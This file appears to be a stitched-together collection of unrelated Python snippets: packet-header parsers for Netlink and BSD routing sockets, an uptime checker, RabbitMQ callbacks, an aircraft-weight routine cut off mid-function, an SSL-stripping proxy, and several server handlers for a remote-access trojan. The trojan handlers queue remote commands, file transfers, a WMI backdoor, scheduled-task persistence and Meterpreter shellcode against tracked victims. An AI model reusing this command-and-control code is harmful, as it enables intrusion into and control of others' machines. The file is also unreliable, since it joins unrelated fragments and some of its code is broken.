def __init__(self, bytes = None, timestamp = None, **kv):
""" Define the common RTNetlink message header."""
family = pcs.Field("family", 8)
pad1 = pcs.Field("pad1", 8)
pad2 = pcs.Field("pad2", 16)
ifindex = pcs.Field("ifindex", 32)
type = pcs.Field("type", 8)
len = pcs.Field("len", 8)
flags = pcs.Field("flags", 8)
pad3 = pcs.Field("pad3", 8)
#tlvs = pcs.OptionListField("tlvs")
pcs.Packet.__init__(self, [family, pad1, pad2, ifindex, type, \
len, flags, pad3], \
bytes = bytes, **kv)
self.description = " Define the common RTNetlink message header."
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
remaining = len(bytes) - offset
if self.data is None:
self.data = payload.payload(bytes[offset:remaining], \
timestamp=timestamp)
else:
self.data = None
def __init__(self, bytes = None, timestamp = None, **kv):
""" Define the common RTNetlink message header."""
family = pcs.Field("family", 8)
dst_len = pcs.Field("dst_len", 8)
src_len = pcs.Field("src_len", 8)
tos = pcs.Field("tos", 8)
table = pcs.Field("table", 8)
protocol = pcs.Field("protocol", 8)
scope = pcs.Field("scope", 8)
type = pcs.Field("type", 8)
flags = pcs.Field("flags", 32)
#tlvs = pcs.OptionListField("tlvs")
pcs.Packet.__init__(self, [family, dst_len, src_len, tos, table, \
protocol, scope, type, flags], \
bytes = bytes, **kv)
self.description = " Define the common RTNetlink message header."
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
remaining = len(bytes) - offset
# TODO demux TLVs.
if self.data is None:
self.data = payload.payload(bytes[offset:remaining], \
timestamp=timestamp)
else:
self.data = None
def __init__(self, bytes=None, timestamp=None, **kv):
""" Define the common RTNetlink message header."""
family = pcs.Field("family", 8)
dst_len = pcs.Field("dst_len", 8)
src_len = pcs.Field("src_len", 8)
tos = pcs.Field("tos", 8)
table = pcs.Field("table", 8)
protocol = pcs.Field("protocol", 8)
scope = pcs.Field("scope", 8)
type = pcs.Field("type", 8)
flags = pcs.Field("flags", 32)
#tlvs = pcs.OptionListField("tlvs")
pcs.Packet.__init__(self, [family, dst_len, src_len, tos, table, \
protocol, scope, type, flags], \
bytes = bytes, **kv)
self.description = " Define the common RTNetlink message header."
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
remaining = len(bytes) - offset
# TODO demux TLVs.
if self.data is None:
self.data = payload.payload(bytes[offset:remaining], \
timestamp=timestamp)
else:
self.data = None
def __init__(self, bytes = None, timestamp = None, **kv):
""" Define the common rtmsg header; see <net/route.h>. """
index = pcs.Field("index", 16)
flags = pcs.Field("flags", 32)
addrs = pcs.Field("addrs", 32)
pid = pcs.Field("pid", 32)
seq = pcs.Field("seq", 32)
errno = pcs.Field("errno", 32)
fmask = pcs.Field("fmask", 32)
inits = pcs.Field("inits", 32)
# 14 * sizeof(long) on platform; arch-specific.
#rmx = pcs.Field("rmx", 32)
pcs.Packet.__init__(self, [index, flags, addrs, pid, seq, errno, \
fmask, inits], bytes = bytes, **kv)
self.description = " Define the common rtmsg header; see <net/route.h>. "
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def __init__(self, bytes=None, timestamp=None, **kv):
""" Define the common RTNetlink message header."""
family = pcs.Field("family", 8)
pad1 = pcs.Field("pad1", 8)
pad2 = pcs.Field("pad2", 16)
ifindex = pcs.Field("ifindex", 32)
type = pcs.Field("type", 8)
len = pcs.Field("len", 8)
flags = pcs.Field("flags", 8)
pad3 = pcs.Field("pad3", 8)
#tlvs = pcs.OptionListField("tlvs")
pcs.Packet.__init__(self, [family, pad1, pad2, ifindex, type, \
len, flags, pad3], \
bytes = bytes, **kv)
self.description = " Define the common RTNetlink message header."
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
remaining = len(bytes) - offset
if self.data is None:
self.data = payload.payload(bytes[offset:remaining], \
timestamp=timestamp)
else:
self.data = None
def __init__(self, bytes=None, timestamp=None, **kv):
""" Define the common rtmsg header; see <net/route.h>. """
index = pcs.Field("index", 16)
flags = pcs.Field("flags", 32)
addrs = pcs.Field("addrs", 32)
pid = pcs.Field("pid", 32)
seq = pcs.Field("seq", 32)
errno = pcs.Field("errno", 32)
fmask = pcs.Field("fmask", 32)
inits = pcs.Field("inits", 32)
# 14 * sizeof(long) on platform; arch-specific.
#rmx = pcs.Field("rmx", 32)
pcs.Packet.__init__(self, [index, flags, addrs, pid, seq, errno, \
fmask, inits], bytes = bytes, **kv)
self.description = " Define the common rtmsg header; see <net/route.h>. "
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def check():
for page in pages():
try:
url = BASE_URL + page['uri']
data = requests.get(url)
status_code = data.status_code
if 199 < status_code < 300:
msg = '`{}` page is OK'.format(page['name'])
else:
level = get_error_level(status_code)
json = payload(url=url,
page=page['name'],
status_code=status_code,
level=level)
requests.post(ALARM_URL, json=json)
msg = '`{}` page is down. Status code: {}'.format(
page['name'], status_code)
print(msg)
except Exception as e:
print(
'Error occurred during making http request to `{}` page. Exception: {}'
.format(page['name'], e))
def __init__(self, bytes=None, timestamp=None, **kv):
family = pcs.Field("family", 8)
pad00 = pcs.Field("pad00", 8)
type = pcs.Field("type", 16)
index = pcs.Field("index", 32)
flags = pcs.Field("flags", 32)
change = pcs.Field("change", 32)
#tlvs = pcs.OptionListField("tlvs")
pcs.Packet.__init__(self, [family, pad00, type, index, flags, change],\
bytes = bytes, **kv)
self.description = "RFC 3549 interface information message."
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
remaining = len(bytes) - offset
# TODO demux TLVs.
if self.data is None:
self.data = payload.payload(bytes[offset:remaining], \
timestamp=timestamp)
else:
self.data = None
def __init__(self, bytes=None, timestamp=None, **kv):
family = pcs.Field("family", 8)
prefixlen = pcs.Field("pad00", 8)
flags = pcs.Field("flags", 8)
scope = pcs.Field("scope", 8)
index = pcs.Field("index", 32)
#tlvs = pcs.OptionListField("tlvs")
pcs.Packet.__init__(self, [family, prefixlen, flags, scope, index],\
bytes = bytes, **kv)
self.description = "RFC 3549 interface address message."
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
remaining = len(bytes) - offset
# TODO demux TLVs.
if self.data is None:
self.data = payload.payload(bytes[offset:remaining], \
timestamp=timestamp)
else:
self.data = None
def default(self, *route):
# Get the requested URL from cherrypy
url = cherrypy.url()
print "Request received for url: " + url
# Insert https connection because we are connecting to a https server
url = str(url).replace("http", "https")
# Retrieve data from Bob
r = requests.get(url, verify=False)
# Log status code and encoding
print "Request made and returned status code: " + str(r.status_code)
print "Response encoding: " + str(r.encoding)
# If this is not text, then just return the content
if(str(r.encoding) == "None"):
return r.content
# Otherwise, we have text and we need to filter https content
response = fromHTTPStoHTTP(r, url)
# Additional payloads can be loaded from an external script, runs the payload() function
if (args.payload != False):
print "Own payload loaded from" + str(args.payload)
import payload
response = payload.payload(response)
# Return the (now http) response
return response.content
def __init__(self, bytes = None, timestamp = None, **kv):
""" Define the common rtmsg header; see <net/route.h>. """
msglen = pcs.Field("msglen", 16)
version = pcs.Field("version", 8, default=RTM_VERSION)
type = pcs.Field("type", 8, discriminator=True)
# XXX There's implicit padding all over the shop here.
pad0 = pcs.Field("type", 16)
pcs.Packet.__init__(self, [msglen, version, type, pad0], \
bytes = bytes, **kv)
self.description = " Define the common rtmsg header; see <net/route.h>. "
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
# XXX Workaround Packet.next() -- it only returns something
# if it can discriminate.
# XXX Should try rtmsg next, next.
offset = self.sizeof()
self.data = self.next(bytes[offset:len(bytes)],
timestamp = timestamp)
if self.data is None:
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def __init__(self, bytes = None, timestamp = None, **kv):
family = pcs.Field("family", 8)
prefixlen = pcs.Field("pad00", 8)
flags = pcs.Field("flags", 8)
scope = pcs.Field("scope", 8)
index = pcs.Field("index", 32)
#tlvs = pcs.OptionListField("tlvs")
pcs.Packet.__init__(self, [family, prefixlen, flags, scope, index],\
bytes = bytes, **kv)
self.description = "RFC 3549 interface address message."
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
remaining = len(bytes) - offset
# TODO demux TLVs.
if self.data is None:
self.data = payload.payload(bytes[offset:remaining], \
timestamp=timestamp)
else:
self.data = None
def __init__(self, bytes = None, timestamp = None, **kv):
family = pcs.Field("family", 8)
pad00 = pcs.Field("pad00", 8)
type = pcs.Field("type", 16)
index = pcs.Field("index", 32)
flags = pcs.Field("flags", 32)
change = pcs.Field("change", 32)
#tlvs = pcs.OptionListField("tlvs")
pcs.Packet.__init__(self, [family, pad00, type, index, flags, change],\
bytes = bytes, **kv)
self.description = "RFC 3549 interface information message."
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
remaining = len(bytes) - offset
# TODO demux TLVs.
if self.data is None:
self.data = payload.payload(bytes[offset:remaining], \
timestamp=timestamp)
else:
self.data = None
def rat(signature):
global server
c = victim.victim()
a = action.action()
p = payload.payload()
pattern = r"^[0-9a-f]{32}$"
if not re.match(pattern, signature):
return "error"
if not c.get(signature):
return 'error'
if request.method == 'GET':
cl = c.get(signature)
if not cl:
return "error"
c.heartbeat(signature)
ac = a.gettask(signature)
if ac:
exploit = ac['payload']
pid = ac['pid']
else:
exploit = 'aGJlYXQ='
pid = 'aGJlYXQ='
return render_template_string(exploit, server=server, signature=signature, pid=pid)
else:
pid = request.args.get('pid')
pattern = r"^[0-9a-f]{32}$"
if not re.match(pattern, pid):
return "error"
data = request.get_data().encode('base64')
a.setfeedback(pid, data)
return ''
def __init__(self, bytes=None, timestamp=None, **kv):
""" Define the common rtmsg header; see <net/route.h>. """
msglen = pcs.Field("msglen", 16)
version = pcs.Field("version", 8, default=RTM_VERSION)
type = pcs.Field("type", 8, discriminator=True)
# XXX There's implicit padding all over the shop here.
pad0 = pcs.Field("type", 16)
pcs.Packet.__init__(self, [msglen, version, type, pad0], \
bytes = bytes, **kv)
self.description = " Define the common rtmsg header; see <net/route.h>. "
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
# XXX Workaround Packet.next() -- it only returns something
# if it can discriminate.
# XXX Should try rtmsg next, next.
offset = self.sizeof()
self.data = self.next(bytes[offset:len(bytes)],
timestamp=timestamp)
if self.data is None:
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def setUpload():
signature = request.form.get("signature").strip()
filePath = request.form.get("filePath").strip()
a = action.action()
p = payload.payload()
pid = md5(str(time.time()) + config.SECRET_KEY + signature + filePath + str(random.random()))
exploit = p.upload(filePath)
a.add(pid, signature, "[upload] " + filePath, exploit)
return pid
def setCmd():
signature = request.form.get("signature").strip()
cmd = request.form.get("cmd").strip()
a = action.action()
p = payload.payload()
pid = md5(str(time.time()) + config.SECRET_KEY + signature + cmd + str(random.random()))
exploit = p.cmd(cmd)
a.add(pid, signature, "[cmd] " + cmd, exploit)
return pid
def connect():
global server
c = victim.victim()
p = payload.payload()
signature = md5(str(time.time())+SECRET_KEY+request.remote_addr+str(random.random()))
if c.get(signature):
signature = md5(str(time.time())+SECRET_KEY+request.remote_addr)
c = c.add(signature, request.remote_addr)
#a = action.action().add(signature, 'init', 'payload', 4) #add init task
return render_template_string(p.connect(), server=server, signature=signature)
def setWmiBackdoor():
signature = request.form.get('signature').strip()
a = action.action()
p = payload.payload()
pid = md5(
str(time.time()) + config.SECRET_KEY + signature +
str(random.random()))
exploit = p.WmiBackdoor()
a.add(pid, signature, '[WmiBackdoor] launched', exploit)
return pid
def setExec():
signature = request.form.get('signature').strip()
cmd = request.form.get('cmd').strip()
a = action.action()
p = payload.payload()
pid = md5(
str(time.time()) + config.SECRET_KEY + signature + cmd +
str(random.random()))
exploit = p.run(cmd)
a.add(pid, signature, '[cmd] ' + cmd, exploit)
return pid
def setWindowsTasks():
signature = request.form.get('signature').strip()
t = request.form.get('time').strip()
a = action.action()
p = payload.payload()
pid = md5(
str(time.time()) + config.SECRET_KEY + signature + t +
str(random.random()))
exploit = p.WindowsTasks(t)
a.add(pid, signature, '[WindowsTasks] ' + t, exploit)
return pid
def setUpload():
signature = request.form.get('signature').strip()
filePath = request.form.get('filePath').strip()
a = action.action()
p = payload.payload()
pid = md5(
str(time.time()) + config.SECRET_KEY + signature + filePath +
str(random.random()))
exploit = p.upload(filePath)
a.add(pid, signature, '[upload] ' + filePath, exploit)
return pid
def __init__(self, bytes=None, timestamp=None, **kv):
address = pcs.Field("address", 6 * 8)
pcs.Packet.__init__(self, [address], bytes=bytes, **kv)
self.description = "BSD Routing socket -- IEEE 802.11 leave event"
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def __init__(self, bytes = None, timestamp = None, **kv):
address = pcs.Field("address", 6 * 8)
pcs.Packet.__init__(self, [address], bytes = bytes, **kv)
self.description = "BSD Routing socket -- IEEE 802.11 leave event"
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def setDownload():
signature = request.form.get("signature").strip()
originalname = request.form.get("filename").strip()
savePath = request.form.get("savePath").strip()
a = action.action()
p = payload.payload()
d = download.download()
filename = d.getbyname(originalname)["filename"]
originalname = d.getbyname(originalname)["originalname"]
savePath += "\\" + originalname
pid = md5(str(time.time()) + config.SECRET_KEY + signature + originalname + savePath + str(random.random()))
exploit = p.download(filename, savePath)
a.add(pid, signature, "[download] " + originalname + "(" + filename + ")" + " [savepath] " + savePath, exploit)
return pid
def callback(ch, method, props, body):
# print(f" [x] {method.routing_key}:{body}")
ch.basic_ack(delivery_tag=method.delivery_tag)
# jo = payload(body)
# print(f"[x] Received message command = {jo.command}")
# print(f"[x] Received message payload = {jo.payload}")
data = payload(body)
response = process_rpc_command(data)
# print(f' [y] responded with {response}')
ch.basic_publish(exchange=exchange_name,
routing_key='master.control.response',
body=str(data))
def callback(ch, method, props, body):
print(f" [x] {method.routing_key}:{body}")
# jo = payload(body)
# print(f"[x] Received message command = {jo.command}")
# print(f"[x] Received message payload = {jo.payload}")
data = payload(body)
response = process_rpc_command(data)
ch.basic_publish(
exchange='',
routing_key='rasp.control.master',
properties=pika.BasicProperties(correlation_id=props.correlation_id),
body=str(response))
ch.basic_ack(delivery_tag=method.delivery_tag)
def check():
global server
data = unquote(request.get_data())
#TODO: add data format check
signature = md5(data + SECRET_KEY)
c = victim.victim()
p = payload.payload()
if not c.get(signature):
c = c.add(signature, request.remote_addr)
#添加初始任务
action.action().add(signature, signature, 'init', p.init(),
4) #add init task
return render_template_string(p.begin(),
server=server,
signature=signature)
def plantMeterpreter0():
signature = request.form.get('signature').strip()
ip = request.form.get('ip').strip()
port = request.form.get('port').strip()
a = action.action()
p = payload.payload()
s = settings.settings()
s.set('LHOST', ip)
s.set('LPORT', port)
pid = md5(
str(time.time()) + config.SECRET_KEY + signature +
str(random.random()))
exploit = p.MeterpreterShellcode()
a.add(pid, signature, '[MeterpreterShellcode] %s:%s' % (ip, port), exploit)
return pid
def setDownload():
signature = request.form.get('signature').strip()
originalname = request.form.get('filename').strip()
savePath = request.form.get('savePath').strip()
a = action.action()
p = payload.payload()
d = download.download()
filename = d.getbyname(originalname)['filename']
pid = md5(
str(time.time()) + config.SECRET_KEY + signature + originalname +
savePath + str(random.random()))
exploit = p.download(filename, savePath)
a.add(
pid, signature, '[download] ' + originalname + '(' + filename + ')' +
' [savepath] ' + savePath, exploit)
return pid
def on_message(self, _unused_channel, basic_deliver, properties, body):
"""Invoked by pika when a message is delivered from RabbitMQ. The
channel is passed for your convenience. The basic_deliver object that
is passed in carries the exchange, routing key, delivery tag and
a redelivered flag for the message. The properties passed in is an
instance of BasicProperties with the message properties and the body
is the message that was sent.
:param pika.channel.Channel _unused_channel: The channel object
:param pika.Spec.Basic.Deliver: basic_deliver method
:param pika.Spec.BasicProperties: properties
:param bytes body: The message body
"""
data = payload(body)
self.command_processor.process_command(data)
self.acknowledge_message(basic_deliver.delivery_tag)
def rat(signature):
global server
c = victim.victim()
a = action.action()
p = payload.payload()
pattern = r"^[0-9a-f]{32}$"
if not re.match(pattern, signature):
return "error"
if not c.get(signature):
return 'error'
if request.method == 'GET':
c = victim.victim()
pattern = r"^[0-9a-f]{32}$"
if not re.match(pattern, signature):
return 'error'
if not c.get(signature):
return 'error'
c.heartbeat(signature)
#TODO:添加全局任务
#查找未完成任务
ac = a.gettask(signature)
if ac and signature == ac['pid']:
a.setfeedback(signature, 'done')
exploit = ac['payload']
pid = ac['pid']
elif ac and ac['repeat'] < 3:
exploit = ac['payload']
pid = ac['pid']
a.addrepeat(pid)
else:
exploit = ''
pid = 'heartbeat'
return render_template_string(exploit,
server=server,
signature=signature,
pid=pid)
else:
pid = request.args.get('pid')
pattern = r"^[0-9a-f]{32}$"
if not re.match(pattern, pid):
return "error"
data = request.get_data().encode('base64')
a.setfeedback(pid, data)
return ''
def __init__(self, bytes=None, timestamp=None, **kv):
src = pcs.Field("src", 6 * 8)
dst = pcs.Field("dst", 6 * 8)
cipher = pcs.Field("cipher", 8)
keyix = pcs.Field("keyrsc", 64)
pcs.Packet.__init__(self, [src, dst, cipher, keyix], \
bytes = bytes, **kv)
self.description = "BSD Routing socket -- IEEE 802.11 MICHAEL failure event"
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def __init__(self, bytes = None, timestamp = None, **kv):
src = pcs.Field("src", 6 * 8)
dst = pcs.Field("dst", 6 * 8)
cipher = pcs.Field("cipher", 8)
keyix = pcs.Field("keyrsc", 64)
pcs.Packet.__init__(self, [src, dst, cipher, keyix], \
bytes = bytes, **kv)
self.description = "BSD Routing socket -- IEEE 802.11 MICHAEL failure event"
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def __init__(self, bytes = None, timestamp = None, **kv):
addrs = pcs.Field("addrs", 32)
flags = pcs.Field("flags", 32) # ifa_flags, not much defined
index = pcs.Field("index", 16)
pcs.Packet.__init__(self, [addrs, flags, index], bytes = bytes, **kv)
self.description = "BSD Routing socket -- multicast group message (ifma_msghdr) "
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def __init__(self, bytes=None, timestamp=None, **kv):
error = pcs.Field("error", 32)
pcs.Packet.__init__(self, [error], bytes=bytes, **kv)
self.description = "If type is NLMSG_ERROR, original message generating error is returned as payload with error code prepended, just like ICMP."
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
# XXX To avoid introducing a circular dependency in this module,
# the caller is responsible for trying to decode the payload
# as an nlmsghdr chain.
if bytes is not None:
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def __init__(self, bytes=None, timestamp=None, **kv):
addrs = pcs.Field("addrs", 32)
flags = pcs.Field("flags", 32) # ifa_flags, not much defined
index = pcs.Field("index", 16)
pcs.Packet.__init__(self, [addrs, flags, index], bytes=bytes, **kv)
self.description = "BSD Routing socket -- multicast group message (ifma_msghdr) "
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def __init__(self, bytes = None, timestamp = None, **kv):
error = pcs.Field("error", 32)
pcs.Packet.__init__(self, [error], bytes = bytes, **kv)
self.description = "If type is NLMSG_ERROR, original message generating error is returned as payload with error code prepended, just like ICMP."
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
# XXX To avoid introducing a circular dependency in this module,
# the caller is responsible for trying to decode the payload
# as an nlmsghdr chain.
if bytes is not None:
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def __init__(self, bytes = None, timestamp = None, **kv):
index = pcs.Field("index", 16)
name = pcs.StringField("name", IFNAMSIZ * 8)
what = pcs.Field("what", 16, discriminator=True)
pcs.Packet.__init__(self, [index, name, what], bytes = bytes, **kv)
self.description = "BSD Routing socket -- IEEE 802.11 state messages (if_announcemsghdr)"
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def __init__(self, bytes=None, timestamp=None, **kv):
index = pcs.Field("index", 16)
name = pcs.StringField("name", IFNAMSIZ * 8)
what = pcs.Field("what", 16, discriminator=True)
pcs.Packet.__init__(self, [index, name, what], bytes=bytes, **kv)
self.description = "BSD Routing socket -- IEEE 802.11 state messages (if_announcemsghdr)"
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def __init__(self, bytes = None, timestamp = None, **kv):
""" Define the common Netlink message header."""
len = pcs.Field("len", 32)
type = pcs.Field("type", 16, discriminator=True)
flags = pcs.Field("flags", 16)
seq = pcs.Field("seq", 32)
pid = pcs.Field("pid", 32) # Port ID
pcs.Packet.__init__(self, [len, type, flags, seq, pid], \
bytes = bytes, **kv)
self.description = " Define the common Netlink message header."
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
# XXX Check and use the length field.
remaining = min(len(bytes), self.len) - offset
if remaining < 0:
remaining = len(bytes)
# Only use the external map to look up the payload type
# if it isn't of a type we know about.
if self._fieldnames['type'].value == NLMSG_ERROR:
self.data = nlmsg_error(bytes[offset:remaining], \
timestamp=timestamp)
elif (self._fieldnames['type'].value != NLMSG_NOOP) and \
(self._fieldnames['type'].value != NLMSG_DONE):
self.data = self.next(bytes[offset:remaining], \
timestamp=timestamp)
# If we failed to look up a payload type, assume that
# the payload is opaque.
if self.data is None:
self.data = payload.payload(bytes[offset:remaining], \
timestamp=timestamp)
else:
self.data = None
def __init__(self, bytes=None, timestamp=None, **kv):
""" Define the common Netlink message header."""
len = pcs.Field("len", 32)
type = pcs.Field("type", 16, discriminator=True)
flags = pcs.Field("flags", 16)
seq = pcs.Field("seq", 32)
pid = pcs.Field("pid", 32) # Port ID
pcs.Packet.__init__(self, [len, type, flags, seq, pid], \
bytes = bytes, **kv)
self.description = " Define the common Netlink message header."
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
# XXX Check and use the length field.
remaining = min(len(bytes), self.len) - offset
if remaining < 0:
remaining = len(bytes)
# Only use the external map to look up the payload type
# if it isn't of a type we know about.
if self._fieldnames['type'].value == NLMSG_ERROR:
self.data = nlmsg_error(bytes[offset:remaining], \
timestamp=timestamp)
elif (self._fieldnames['type'].value != NLMSG_NOOP) and \
(self._fieldnames['type'].value != NLMSG_DONE):
self.data = self.next(bytes[offset:remaining], \
timestamp=timestamp)
# If we failed to look up a payload type, assume that
# the payload is opaque.
if self.data is None:
self.data = payload.payload(bytes[offset:remaining], \
timestamp=timestamp)
else:
self.data = None
def __init__(self, bytes = None, timestamp = None, **kv):
addrs = pcs.Field("addrs", 32)
flags = pcs.Field("flags", 32) # ifa_flags, not much defined
index = pcs.Field("index", 16)
pad00 = pcs.Field("pad00", 16) # XXX very likely it's padded
metric = pcs.Field("metric", 32)
pcs.Packet.__init__(self, [addrs, flags, index, pad00, metric], \
bytes = bytes, **kv)
self.description = "BSD Routing socket -- protocol address message (ifa_msghdr) "
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def __init__(self, bytes=None, timestamp=None, **kv):
addrs = pcs.Field("addrs", 32)
flags = pcs.Field("flags", 32) # ifa_flags, not much defined
index = pcs.Field("index", 16)
pad00 = pcs.Field("pad00", 16) # XXX very likely it's padded
metric = pcs.Field("metric", 32)
pcs.Packet.__init__(self, [addrs, flags, index, pad00, metric], \
bytes = bytes, **kv)
self.description = "BSD Routing socket -- protocol address message (ifa_msghdr) "
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def __init__(self, bytes=None, timestamp=None, **kv):
addrs = pcs.Field("addrs", 32)
flags = pcs.Field("flags", 32)
index = pcs.Field("index", 16)
pad00 = pcs.Field("pad00", 16) # XXX very likely it's padded
# XXX We don't decode if_data yet.
# Its length (and widths) are arch-dependent!
data = pcs.Field("data", 152 * 8)
pcs.Packet.__init__(self, [addrs, flags, index, pad00, ifdata], \
bytes = bytes, **kv)
self.description = "BSD Routing socket -- link-state message (if_msghdr)"
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def __init__(self, bytes = None, timestamp = None, **kv):
addrs = pcs.Field("addrs", 32)
flags = pcs.Field("flags", 32)
index = pcs.Field("index", 16)
pad00 = pcs.Field("pad00", 16) # XXX very likely it's padded
# XXX We don't decode if_data yet.
# Its length (and widths) are arch-dependent!
data = pcs.Field("data", 152 * 8)
pcs.Packet.__init__(self, [addrs, flags, index, pad00, ifdata], \
bytes = bytes, **kv)
self.description = "BSD Routing socket -- link-state message (if_msghdr)"
if timestamp is None:
self.timestamp = time.time()
else:
self.timestamp = timestamp
if bytes is not None:
offset = self.sizeof()
self.data = payload.payload(bytes[offset:len(bytes)])
else:
self.data = None
def empty(vehicle):
""" output = SUAVE.Methods.Weights.Correlations.Tube_Wing.empty(engine,wing,aircraft,fuselage,horizontal,vertical)
This is for a standard Tube and Wing aircraft configuration.
Inputs:
engine - a data dictionary with the fields:
thrust_sls - sea level static thrust of a single engine [Newtons]
wing - a data dictionary with the fields:
gross_area - wing gross area [meters**2]
span - span of the wing [meters]
taper - taper ratio of the wing [dimensionless]
t_c - thickness-to-chord ratio of the wing [dimensionless]
sweep - sweep angle of the wing [radians]
mac - mean aerodynamic chord of the wing [meters]
r_c - wing root chord [meters]
aircraft - a data dictionary with the fields:
Nult - ultimate load of the aircraft [dimensionless]
Nlim - limit load factor at zero fuel weight of the aircraft [dimensionless]
TOW - maximum takeoff weight of the aircraft [kilograms]
zfw - maximum zero fuel weight of the aircraft [kilograms]
num_eng - number of engines on the aircraft [dimensionless]
num_pax - number of passengers on the aircraft [dimensionless]
wt_cargo - weight of the bulk cargo being carried on the aircraft [kilograms]
num_seats - number of seats installed on the aircraft [dimensionless]
ctrl - specifies if the control system is "fully powered", "partially powered", or not powered [dimensionless]
ac - determines type of instruments, electronics, and operating items based on types:
"short-range", "medium-range", "long-range", "business", "cargo", "commuter", "sst" [dimensionless]
w2h - tail length (distance from the airplane c.g. to the horizontal tail aerodynamic center) [meters]
fuselage - a data dictionary with the fields:
area - fuselage wetted area [meters**2]
diff_p - Maximum fuselage pressure differential [Pascal]
width - width of the fuselage [meters]
height - height of the fuselage [meters]
length - length of the fuselage [meters]
horizontal
area - area of the horizontal tail [meters**2]
span - span of the horizontal tail [meters]
sweep - sweep of the horizontal tail [radians]
mac - mean aerodynamic chord of the horizontal tail [meters]
t_c - thickness-to-chord ratio of the horizontal tail [dimensionless]
exposed - exposed area ratio for the horizontal tail [dimensionless]
vertical
area - area of the vertical tail [meters**2]
span - sweight = weight * Units.lbpan of the vertical [meters]
t_c - thickness-to-chord ratio of the vertical tail [dimensionless]
sweep - sweep angle of the vertical tail [radians]
t_tail - factor to determine if aircraft has a t-tail, "yes" [dimensionless]
Outputs:
output - a data dictionary with fields:
wt_payload - weight of the passengers plus baggage and paid cargo [kilograms]
wt_pax - weight of all the passengers [kilogram]
wt_bag - weight of all the baggage [kilogram]
wt_fuel - weight of the fuel carried[kilogram]
wt_empty - operating empty weight of the aircraft [kilograms]
Assumptions:
calculated aircraft weight from correlations created per component of historical aircraft
"""
# Unpack inputs
Nult = vehicle.envelope.ultimate_load
Nlim = vehicle.envelope.limit_load
TOW = vehicle.mass_properties.max_takeoff
wt_zf = vehicle.mass_properties.max_zero_fuel
num_pax = vehicle.passengers
wt_cargo = vehicle.mass_properties.cargo
num_seats = vehicle.fuselages['fuselage'].number_coach_seats
ctrl_type = vehicle.systems.control
ac_type = vehicle.systems.accessories
propulsor_name = vehicle.propulsors.keys()[0] #obtain the key for the propulsor for assignment purposes
propulsors = vehicle.propulsors[propulsor_name]
num_eng = propulsors.number_of_engines
if propulsor_name=='turbofan' or propulsor_name=='Turbofan':
# thrust_sls should be sea level static thrust. Using design thrust results in wrong propulsor
# weight estimation. Engine sizing should return this value.
# for now, using thrust_sls = design_thrust / 0.20, just for optimization evaluations
thrust_sls = propulsors.sealevel_static_thrust
wt_engine_jet = Propulsion.engine_jet(thrust_sls)
wt_propulsion = Propulsion.integrated_propulsion(wt_engine_jet,num_eng)
propulsors.mass_properties.mass = wt_propulsion
